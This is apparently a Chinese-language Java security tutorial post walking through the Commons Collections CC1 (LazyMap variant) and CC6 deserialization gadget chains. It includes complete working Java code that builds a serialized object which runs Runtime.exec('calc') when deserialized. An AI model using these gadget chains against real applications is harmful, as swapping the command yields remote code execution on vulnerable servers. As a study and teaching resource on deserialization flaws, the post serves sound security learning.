[Java安全入门]五.CC6链

一.前言

上一篇讲到CC1链是利用AnnotationInvocationHandler来触发setValue(),但是在Java 8u71以后AnnotationInvocationHandler的readObject()里面已经没有了setValue()方法,cc6链不受jdk版本约束,较于其他cc链,更为通用。

二.cc1的另一种写法

在学习cc6之前,先回顾一下CC1

复制代码
AnnotationInvocationHandler.readObject()(setValue)->

                              TransformedMap.checkSetValue->        

                                      ChainedTransformer.transform->
                                              
                                              InvokerTransformer.transform

然后学习一下利用LazyMap触发transform

复制代码
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

在LazyMap的get方法中调用了 factory的transform的方法,如果把factory传承ChainedTransformer就回归了之前Transforedmap的用法,前提是map里面没有key

然后找谁调用了get方法

在AnnotationInvocationHandler的invoke方法中调用了get方法

java 复制代码
public Object invoke(Object proxy, Method method, Object[] args) {
         ...
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");
         ...
        Object result = memberValues.get(member);
         ...
}

当对AnnotationInvocationHandler的任意方法使用动态代理的时候就会触发invoke方法,根据两个if,调用还得是无参方法,正好entrySet()是个无参方法

java 复制代码
package  org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import sun.awt.windows.awtLocalization;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.invoke.MethodHandle;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class Cc1 {
    public static void main(String[] args) throws  Exception {

        // Class c = Runtime.class;
        //  Method methodgetRuntime=c.getMethod("getRuntime",null);
        // Runtime runtime=(Runtime)methodgetRuntime.invoke(null,null);//获取Runtime.getRuntime 类
        //Method execmethod=c.getMethod("exec",String.class);//获取exec方法
        //execmethod.invoke(runtime,"calc");


        // Method methodgetRuntime =(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        //Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}).transform(methodgetRuntime);



        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
        //chainedTransformer.transform(Runtime.class);


       Map<Object, Object> hashMap = new HashMap<>();
        //用HashMap传入decorate
       // hashMap.put("value", 1);
       // Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        //构造好TransformedMap,现在需要触发checkSetValue并把指令传进去
        Map<Object, Object> lazymap = LazyMap.decorate(hashMap,chainedTransformer);
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, lazymap);//注解随便传
        Map proxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        Object obj=annotationInvocationHandlerConstructor.newInstance(Target.class,proxy);





        //Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       // Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        //annotationInvocationHandlerConstructor.setAccessible(true);
       // Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(obj);
        //序列化


        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化


        // Runtime cmd=Runtime.getRuntime();

        //for(Map.Entry entry:transformedMap.entrySet())
        //{
        //   entry.setValue(cmd);
        //}
        //通过遍历Map,调用setValue触发checkSetValue

    }
}

三.cc6

cc6的后半段与Lazymap构造的cc1一样,但是触发get的方法发生了变化,TiedMapEntry类的hashCode方法调用了getValue方法,而getValue调用了get

java 复制代码
   public Object getValue() {
        return map.get(key);
    }

所以可以用TiedMapEntry来代替LazyMap,根据URLDNS链的经验可以这样构造

HashMap.readObject->hashCode->TiedMapEntry.hashCode->get ->ChainedTransformer.transform

java 复制代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
        //chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        //这里ConstantTransformer随便放,这样put的时候不会触发计算器
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "a");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "b");
        lazymap.remove("a");
        //反序列化不能由key,所以romove掉

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        //反射获取LazyMap,类似反射获url类
        factoryField.set(lazymap, chainedTransformer);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(map2);
        //序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化
    }

}
相关推荐
消失的旧时光-19431 小时前
Spring Boot 工程化进阶:统一返回 + 全局异常 + AOP 通用工具包
java·spring boot·后端·aop·自定义注解
NE_STOP1 小时前
Redis--发布订阅命令和Redis事务
java
PAC_3Dame1 小时前
记一次真实的线上OOM
java
SunnyDays10111 小时前
如何在Java中将Word文档转换为图像(JPEG、PNG或SVG)
java
Lumos_7772 小时前
Linux -- 线程
java·jvm·算法
知兀2 小时前
【MybatisPlus】后端用枚举类,数据库用tinyint,存在枚举类型转换
java
StockTV2 小时前
印度股票实时数据 NSE和BSE的实时行情、K 线及指数数据
java·开发语言·spring boot·python
User_芊芊君子2 小时前
【OpenAI 把 AI 玩明白了】:自主推理 + 动态知识图谱,这 4 个技术突破要颠覆行业
java·人工智能·知识图谱
c++之路2 小时前
C++20概述
java·开发语言·c++20
Championship.23.243 小时前
Linux Top 命令族深度解析与实战指南
java·linux·服务器·top·linux调试